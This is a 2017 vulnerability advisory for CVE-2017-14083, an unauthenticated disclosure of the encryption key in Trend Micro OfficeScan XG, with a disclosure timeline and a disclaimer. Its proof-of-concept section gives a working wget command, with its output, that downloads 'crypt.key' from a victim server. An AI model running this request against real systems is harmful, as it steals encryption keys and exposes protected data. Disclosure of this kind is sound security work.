[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2017-14083-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-ENCRYPTION-KEY-DISCLOSURE.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.trendmicro.com



Product:
========
OfficeScan 
v11.0 and XG (12.0)*


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.



Vulnerability Type:
===================
Unauthorized Encryption Key Disclosure



CVE Reference:
==============
CVE-2017-14083



Security Issue:
================
Remote unauthenticated attackers who can reach the TrendMicro OfficeScan XG application which usually runs on port 4343 can download
the OfficeScan XG encryption "crypt.key" file. This crypt.key is used for the OfficeScan XG encryption process.


References:
===========
https://success.trendmicro.com/solution/1118372


e.g.

In "config.php" 

/* *********************************************************
     * Encryption module configurations
     */
$wfconf_wfcrypt_keyfile = dirname(__FILE__) . "/../repository/inc/class/common/crypt/crypt.key";            <============= HERE 
$wfconf_wfcrypt_algorithm = MCRYPT_RIJNDAEL_256; // MCRYPT_3DES MCRYPT_BLOWFISH MCRYPT_CAST_256 MCRYPT_DES ...
/* *********************************************************
     * Framework configurations
     */



Exploit/POC:
=============

[root@localhost /]# wget --no-check-certificate  https://VICTIM-IP:4343/officescan/console/html/widget/repository/inc/class/common/crypt/crypt.key
--14:59:52--  https://VICTIM-IP:4343/officescan/console/html/widget/repository/inc/class/common/crypt/crypt.key
Connecting to VICTIM-IP:4343... connected.
WARNING: cannot verify VICTIM-IP's certificate, issued by `/CN=VICTIM-IP':
  Self-signed certificate encountered.
HTTP request sent, awaiting response... 200 OK
Length: 32 [application/octet-stream]
Saving to: `crypt.key'

100%[==================================================================================================>] 32          --.-K/s   in 0s     

14:59:52 (15.3 MB/s) - `crypt.key' saved [32/32]



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=================================
Vendor Notification: May 31, 2017
Vendor: "hotfix in progress". June 23, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx